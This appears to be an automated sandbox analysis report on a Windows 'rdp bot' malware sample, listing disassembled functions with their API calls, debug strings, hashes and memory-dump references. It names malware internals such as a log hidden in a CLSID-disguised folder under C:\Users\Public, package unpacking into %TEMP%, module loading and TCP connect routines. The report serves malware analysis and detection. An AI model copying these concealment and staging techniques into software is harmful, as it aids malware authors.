Function 00007FFB23B0328E Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 177stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FFB23B032AD
CreateDirectoryA.KERNEL32 ref: 00007FFB23B032CF
GetLastError.KERNEL32 ref: 00007FFB23B03320
strcpy.MSVCRT ref: 00007FFB23B03371
strlen.MSVCRT ref: 00007FFB23B03379
strlen.MSVCRT ref: 00007FFB23B03395
strlen.MSVCRT ref: 00007FFB23B033A6
CreateDirectoryA.KERNEL32 ref: 00007FFB23B03417
GetLastError.KERNEL32 ref: 00007FFB23B03421

Strings

[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x), xrefs: 00007FFB23B034F6
(path != NULL), xrefs: 00007FFB23B032F7
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FFB23B032F0
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu), xrefs: 00007FFB23B03339
[I] (%s) -> Done(path=%s,recursive=%d), xrefs: 00007FFB23B0355D
NULL, xrefs: 00007FFB23B03547
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23B03305
[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu), xrefs: 00007FFB23B033D0
fs_dir_create, xrefs: 00007FFB23B032FE, 00007FFB23B03332, 00007FFB23B033C9, 00007FFB23B034EF, 00007FFB23B03556

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: strlen$CreateDirectoryErrorLast$strcpy
String ID: (path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,gle=%lu)$[E] (%s) -> CreateDirectoryA failed(path=%s,recursive=%d,ptr=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,recursive=%d,err=%08x)$[I] (%s) -> Done(path=%s,recursive=%d)$fs_dir_create
API String ID: 1104438493-1059260517
Opcode ID: 3c9f990b9a47e33ded08a4b529be2ee697f664180362654706160e751e935eaf
Instruction ID: 08f258ce8120e84896defbeec13d85be31fe868c10dae2c316312135c259a75a
Opcode Fuzzy Hash: 3c9f990b9a47e33ded08a4b529be2ee697f664180362654706160e751e935eaf
Instruction Fuzzy Hash: E1718CA9E1C6C386FAA35F35ECCC3BD1241AF85784F5C01B2D9CE6A695DE2CE9458301

Function 00007FF7AABD309C Relevance: 31.6, APIs: 8, Strings: 10, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF7AABD30BC
GetLastError.KERNEL32 ref: 00007FF7AABD31ED

Part of subcall function 00007FF7AABD1FD0: GetModuleHandleExA.KERNEL32(?,?,?,?,?,?,00007FF7AABD162F), ref: 00007FF7AABD1FEE

strlen.MSVCRT ref: 00007FF7AABD310E
strlen.MSVCRT ref: 00007FF7AABD312A
_mbscat.MSVCRT ref: 00007FF7AABD3145
strlen.MSVCRT ref: 00007FF7AABD314D
strlen.MSVCRT ref: 00007FF7AABD3162
fopen.MSVCRT ref: 00007FF7AABD3185

Strings

debug_init, xrefs: 00007FF7AABD31AB, 00007FF7AABD31D0, 00007FF7AABD31F8, 00007FF7AABD32BD, 00007FF7AABD3331
main.log, xrefs: 00007FF7AABD316A
[I] (%s) -> %s, xrefs: 00007FF7AABD3338
Done, xrefs: 00007FF7AABD332A
service, xrefs: 00007FF7AABD309E
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF7AABD31D7
[I] (%s) -> Log open success(flog_path=%s), xrefs: 00007FF7AABD31B2
[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu), xrefs: 00007FF7AABD31FF
[E] (%s) -> Log open failed(flog_path=%s), xrefs: 00007FF7AABD32C4
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log, xrefs: 00007FF7AABD30EE, 00007FF7AABD3104, 00007FF7AABD313B, 00007FF7AABD3158, 00007FF7AABD31A4

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpin_mbscatfopen
String ID: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.log$Done$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$debug_init$main.log$service
API String ID: 3216678114-1460613360
Opcode ID: 9f6c490a9cfb74d6111be8015f030a036cecc235e5153bbe8b37ae26b207c3b2
Instruction ID: 94ef096408764df8a1db390255f0454dd73512f014b66943fcf2aa018127524b
Opcode Fuzzy Hash: 9f6c490a9cfb74d6111be8015f030a036cecc235e5153bbe8b37ae26b207c3b2
Instruction Fuzzy Hash: 2C515B20E0FA03C2FB60B755A8803B8E6A0AF14744FDA44B6D90D462F2DF6DB9479371

Function 00007FF7AABD7750 Relevance: 29.9, APIs: 6, Strings: 11, Instructions: 193stringCOMMON

Download Yara Rule

APIs

_mbscat.MSVCRT ref: 00007FF7AABD78D0
strlen.MSVCRT ref: 00007FF7AABD798E
_mbscpy.MSVCRT ref: 00007FF7AABD79B6
_mbscpy.MSVCRT ref: 00007FF7AABD7A0D
strlen.MSVCRT ref: 00007FF7AABD7A15
strlen.MSVCRT ref: 00007FF7AABD7A3F

Part of subcall function 00007FF7AABD4FC5: fopen.MSVCRT ref: 00007FF7AABD500A
Part of subcall function 00007FF7AABD4FC5: fseek.MSVCRT ref: 00007FF7AABD5029
Part of subcall function 00007FF7AABD4FC5: _errno.MSVCRT ref: 00007FF7AABD503D
Part of subcall function 00007FF7AABD4FC5: _errno.MSVCRT ref: 00007FF7AABD5058

Strings

[E] (%s) -> Entry unpack failed(package=%s,target=%s,pkg_ent=%s,pkg_ent_sz=%u,err=%08x), xrefs: 00007FF7AABD7920
%TEMP%, xrefs: 00007FF7AABD78B2
(package != NULL), xrefs: 00007FF7AABD7801
[I] (%s) -> Entry unpack done(package=%s,target=%s,pkg_ent=%s,pkg_ent_sz=%u), xrefs: 00007FF7AABD7A67
C:/Projects/rdp/bot/codebase/package.c, xrefs: 00007FF7AABD77FA, 00007FF7AABD782A
package_unpack, xrefs: 00007FF7AABD77C9, 00007FF7AABD7808, 00007FF7AABD7838, 00007FF7AABD7919, 00007FF7AABD7A60, 00007FF7AABD7A86
[I] (%s) -> Done(package=%s,target=%s), xrefs: 00007FF7AABD7A8D
NULL, xrefs: 00007FF7AABD7A9E, 00007FF7AABD7AAA
[E] (%s) -> Failed(package=%s,target=%s,err=%08x), xrefs: 00007FF7AABD77D0
(target != NULL), xrefs: 00007FF7AABD7831
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7AABD780F, 00007FF7AABD783F

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: strlen$_errno_mbscpy$_mbscatfopenfseek
String ID: %TEMP%$(package != NULL)$(target != NULL)$C:/Projects/rdp/bot/codebase/package.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Entry unpack failed(package=%s,target=%s,pkg_ent=%s,pkg_ent_sz=%u,err=%08x)$[E] (%s) -> Failed(package=%s,target=%s,err=%08x)$[I] (%s) -> Done(package=%s,target=%s)$[I] (%s) -> Entry unpack done(package=%s,target=%s,pkg_ent=%s,pkg_ent_sz=%u)$package_unpack
API String ID: 3066828623-21863935
Opcode ID: 96d0877263f05c76138a00ab05bbbce443a058112770a0b49e927ae3a5d30d82
Instruction ID: deba06994c7a2683c8a0cbd73cfa94a5551c392010da3f18bd95f8c5d21ac18c
Opcode Fuzzy Hash: 96d0877263f05c76138a00ab05bbbce443a058112770a0b49e927ae3a5d30d82
Instruction Fuzzy Hash: F781AE21A0B783D6FA20AB15E8403F9E760EB54384FC64172EA4D876A5DF7CE54BC720

Function 00007FF7AABD16E3 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 179stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AABD1FD0: GetModuleHandleExA.KERNEL32(?,?,?,?,?,?,00007FF7AABD162F), ref: 00007FF7AABD1FEE

strlen.MSVCRT ref: 00007FF7AABD1758
strlen.MSVCRT ref: 00007FF7AABD177A
_mbscpy.MSVCRT ref: 00007FF7AABD1796
strlen.MSVCRT ref: 00007FF7AABD179E
strlen.MSVCRT ref: 00007FF7AABD17B5
FreeLibrary.KERNEL32 ref: 00007FF7AABD17F1
GetProcessHeap.KERNEL32 ref: 00007FF7AABD18AD
HeapAlloc.KERNEL32 ref: 00007FF7AABD18C1
_mbscpy.MSVCRT ref: 00007FF7AABD18D6

Strings

mem_alloc, xrefs: 00007FF7AABD1908
[I] (%s) -> Loaded(f_path=%s), xrefs: 00007FF7AABD18A1
unit_cleanup, xrefs: 00007FF7AABD1876
unit_init, xrefs: 00007FF7AABD185F
[I] (%s) -> Done(name=%s), xrefs: 00007FF7AABD19AF
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF7AABD190F
units_init, xrefs: 00007FF7AABD189A, 00007FF7AABD1967, 00007FF7AABD19A8
[E] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF7AABD196E

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: strlen$Heap_mbscpy$AllocFreeHandleLibraryModuleProcess
String ID: [E] (%s) -> Failed(name=%s,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(name=%s)$[I] (%s) -> Loaded(f_path=%s)$mem_alloc$unit_cleanup$unit_init$units_init
API String ID: 548194777-214984806
Opcode ID: 49a6f995f23c10737c65cbd86f82c3dad5bdca8e7ab1c08c2037f680bee562b4
Instruction ID: f5efd424e764a61e6ada6c456d8cf780977b79b4f388a1f91f14d135e4ad7cd0
Opcode Fuzzy Hash: 49a6f995f23c10737c65cbd86f82c3dad5bdca8e7ab1c08c2037f680bee562b4
Instruction Fuzzy Hash: 8A816C25A0B643C6FA65BB11E8503B9E2A1AF54784FC640B5DA4D177B6EF3CE907C320

Function 00007FF7AABD685F Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 199fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,?,service,0000027B435613D0,?,00007FF7AABE8500,00007FF7AABD1669), ref: 00007FF7AABD68B7
LockFileEx.KERNEL32(?,?,?,?,?,?,?,?,?,service,0000027B435613D0,?,00007FF7AABE8500,00007FF7AABD1669), ref: 00007FF7AABD68F0
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,service,0000027B435613D0,?,00007FF7AABE8500,00007FF7AABD1669), ref: 00007FF7AABD69C5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,service,0000027B435613D0,?,00007FF7AABE8500,00007FF7AABD1669), ref: 00007FF7AABD6AAA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,service,0000027B435613D0,?,00007FF7AABE8500,00007FF7AABD1669), ref: 00007FF7AABD6C1E

Strings

[E] (%s) -> LockFileEx failed(path=%s,gle=%lu), xrefs: 00007FF7AABD6ABF
NULL, xrefs: 00007FF7AABD6C29
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7AABD697F, 00007FF7AABD69AF
(lock != NULL), xrefs: 00007FF7AABD69A1
service, xrefs: 00007FF7AABD6862
fs_file_lock, xrefs: 00007FF7AABD6944, 00007FF7AABD6978, 00007FF7AABD69A8, 00007FF7AABD69D3, 00007FF7AABD6AB8, 00007FF7AABD6C3B
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7AABD696A, 00007FF7AABD699A
[E] (%s) -> CreateFileA failed(path=%s,gle=%lu), xrefs: 00007FF7AABD69DA
[I] (%s) -> Done(path=%s,lock=%p), xrefs: 00007FF7AABD6C42
[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF7AABD694B
(path != NULL), xrefs: 00007FF7AABD6971

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleLock
String ID: (lock != NULL)$(path != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> CreateFileA failed(path=%s,gle=%lu)$[E] (%s) -> Failed(path=%s,err=%08x)$[E] (%s) -> LockFileEx failed(path=%s,gle=%lu)$[I] (%s) -> Done(path=%s,lock=%p)$fs_file_lock$service
API String ID: 2747014929-2960251455
Opcode ID: 32bd279c4891f4501be222e0aefa1aba61fbc0454ca9bf554f3c01b8b2a6a36b
Instruction ID: 5bc5fd076345b0c2c124303ef7f8ea86cca89d51a894b9db0911d0d1ebe3afba
Opcode Fuzzy Hash: 32bd279c4891f4501be222e0aefa1aba61fbc0454ca9bf554f3c01b8b2a6a36b
Instruction Fuzzy Hash: CF814260E1F74BC1FF30B714A860378F2509F24354ED642B2C96E066F1EE6DA9879362

Function 00007FFB2273B00C Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 139networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FFB2273B030
htonl.WS2_32 ref: 00007FFB2273B0CC
htons.WS2_32 ref: 00007FFB2273B0DD
connect.WS2_32 ref: 00007FFB2273B0F6
WSAGetLastError.WS2_32 ref: 00007FFB2273B11C
select.WS2_32 ref: 00007FFB2273B18C
WSAGetLastError.WS2_32 ref: 00007FFB2273B19C
WSAGetLastError.WS2_32 ref: 00007FFB2273B1DE

Part of subcall function 00007FFB2273ACA9: ioctlsocket.WS2_32 ref: 00007FFB2273ACCF

Part of subcall function 00007FFB2273ABF4: setsockopt.WS2_32 ref: 00007FFB2273AC1C
Part of subcall function 00007FFB2273ABF4: setsockopt.WS2_32 ref: 00007FFB2273AC48

WSAGetLastError.WS2_32 ref: 00007FFB2273B20B

Strings

[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FFB2273B24D
[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FFB2273B1AF
[E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FFB2273B1FA
[W] (%s) -> select timedout(sock=0x%llx,timeo=%u), xrefs: 00007FFB2273B1CD
[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FFB2273B223
[E] (%s) -> connection failed(host=%08x,port=%u), xrefs: 00007FFB2273B094
tcp_connect, xrefs: 00007FFB2273B08D, 00007FFB2273B1A8, 00007FFB2273B1C6, 00007FFB2273B1F3, 00007FFB2273B21C, 00007FFB2273B246

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: ErrorLast$setsockopt$connecthtonlhtonsioctlsocketselectsocket
String ID: [E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> connection failed(host=%08x,port=%u)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$[W] (%s) -> select timedout(sock=0x%llx,timeo=%u)$tcp_connect
API String ID: 3154682637-708158336
Opcode ID: 7b9621f55b462a4df11d70440d7af977b994da88e749484e5a4fd3ece3504c79
Instruction ID: eb3dedf4e65fa015ccdf64cae89b006b1c47b3840766b48d029959a849ab583f
Opcode Fuzzy Hash: 7b9621f55b462a4df11d70440d7af977b994da88e749484e5a4fd3ece3504c79
Instruction Fuzzy Hash: 88516DA1B0C68242FA229F35EC012B97660EF467A4F142335E96DC66F5DEFDED458302

Function 00007FFB227620FC Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 139networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FFB22762120
htonl.WS2_32 ref: 00007FFB227621BC
htons.WS2_32 ref: 00007FFB227621CD
connect.WS2_32 ref: 00007FFB227621E6
WSAGetLastError.WS2_32 ref: 00007FFB2276220C
select.WS2_32 ref: 00007FFB2276227C
WSAGetLastError.WS2_32 ref: 00007FFB2276228C
WSAGetLastError.WS2_32 ref: 00007FFB227622CE

Part of subcall function 00007FFB22761D99: ioctlsocket.WS2_32 ref: 00007FFB22761DBF

Part of subcall function 00007FFB22761CE4: setsockopt.WS2_32 ref: 00007FFB22761D0C
Part of subcall function 00007FFB22761CE4: setsockopt.WS2_32 ref: 00007FFB22761D38

WSAGetLastError.WS2_32 ref: 00007FFB227622FB

Strings

[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FFB2276233D
[E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FFB227622EA
[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FFB22762313
tcp_connect, xrefs: 00007FFB2276217D, 00007FFB22762298, 00007FFB227622B6, 00007FFB227622E3, 00007FFB2276230C, 00007FFB22762336
[E] (%s) -> connection failed(host=%08x,port=%u), xrefs: 00007FFB22762184
[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FFB2276229F
[W] (%s) -> select timedout(sock=0x%llx,timeo=%u), xrefs: 00007FFB227622BD

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: ErrorLast$setsockopt$connecthtonlhtonsioctlsocketselectsocket
String ID: [E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> connection failed(host=%08x,port=%u)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$[W] (%s) -> select timedout(sock=0x%llx,timeo=%u)$tcp_connect
API String ID: 3154682637-708158336
Opcode ID: 42a513e086be3f7698c7ad89dfea67c9f575b11d0ffa4fb26410aead9fb3811b
Instruction ID: 35476062a9f765074373a6c927b690775f38c6b04b67677873aaed90cb652e2a
Opcode Fuzzy Hash: 42a513e086be3f7698c7ad89dfea67c9f575b11d0ffa4fb26410aead9fb3811b
Instruction Fuzzy Hash: 0351B1A1E0C6C281F6665B35ED016BA6690AF9B764F140336DA2DC66F5DEFCEC058700

Function 00007FFB23B0175C Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 139networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FFB23B01780
htonl.WS2_32 ref: 00007FFB23B0181C
htons.WS2_32 ref: 00007FFB23B0182D
connect.WS2_32 ref: 00007FFB23B01846
WSAGetLastError.WS2_32 ref: 00007FFB23B0186C
select.WS2_32 ref: 00007FFB23B018DC
WSAGetLastError.WS2_32 ref: 00007FFB23B018EC
WSAGetLastError.WS2_32 ref: 00007FFB23B0192E

Part of subcall function 00007FFB23B013F9: ioctlsocket.WS2_32 ref: 00007FFB23B0141F

Part of subcall function 00007FFB23B01344: setsockopt.WS2_32 ref: 00007FFB23B0136C
Part of subcall function 00007FFB23B01344: setsockopt.WS2_32 ref: 00007FFB23B01398

WSAGetLastError.WS2_32 ref: 00007FFB23B0195B

Strings

[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FFB23B018FF
[E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FFB23B0194A
[E] (%s) -> connection failed(host=%08x,port=%u), xrefs: 00007FFB23B017E4
[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FFB23B01973
[W] (%s) -> select timedout(sock=0x%llx,timeo=%u), xrefs: 00007FFB23B0191D
[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FFB23B0199D
tcp_connect, xrefs: 00007FFB23B017DD, 00007FFB23B018F8, 00007FFB23B01916, 00007FFB23B01943, 00007FFB23B0196C, 00007FFB23B01996

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: ErrorLast$setsockopt$connecthtonlhtonsioctlsocketselectsocket
String ID: [E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> connection failed(host=%08x,port=%u)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$[W] (%s) -> select timedout(sock=0x%llx,timeo=%u)$tcp_connect
API String ID: 3154682637-708158336
Opcode ID: 4a570b42710865c4136e5dc3a6bcffcdfce0b7aa7f59f7a588588a3db532e0b7
Instruction ID: 75b2c36892840c797f9b8c4c8c9f47bdb31ae7da8526ce59167dfa1a3f070c75
Opcode Fuzzy Hash: 4a570b42710865c4136e5dc3a6bcffcdfce0b7aa7f59f7a588588a3db532e0b7
Instruction Fuzzy Hash: F051D3EDB086C241E6265F35EC883BD6260AF857A4F0C03B5E8ED67AD5DE3DE5068700

Function 00007FFB22705A3C Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 139networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FFB22705A60
htonl.WS2_32 ref: 00007FFB22705AFC
htons.WS2_32 ref: 00007FFB22705B0D
connect.WS2_32 ref: 00007FFB22705B26
WSAGetLastError.WS2_32 ref: 00007FFB22705B4C
select.WS2_32 ref: 00007FFB22705BBC
WSAGetLastError.WS2_32 ref: 00007FFB22705BCC
WSAGetLastError.WS2_32 ref: 00007FFB22705C0E

Part of subcall function 00007FFB227056D9: ioctlsocket.WS2_32 ref: 00007FFB227056FF

Part of subcall function 00007FFB22705624: setsockopt.WS2_32 ref: 00007FFB2270564C
Part of subcall function 00007FFB22705624: setsockopt.WS2_32 ref: 00007FFB22705678

WSAGetLastError.WS2_32 ref: 00007FFB22705C3B

Strings

[E] (%s) -> connect failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FFB22705C2A
[E] (%s) -> connection failed(host=%08x,port=%u), xrefs: 00007FFB22705AC4
[W] (%s) -> select timedout(sock=0x%llx,timeo=%u), xrefs: 00007FFB22705BFD
tcp_connect, xrefs: 00007FFB22705ABD, 00007FFB22705BD8, 00007FFB22705BF6, 00007FFB22705C23, 00007FFB22705C4C, 00007FFB22705C76
[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FFB22705BDF
[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FFB22705C7D
[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FFB22705C53

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
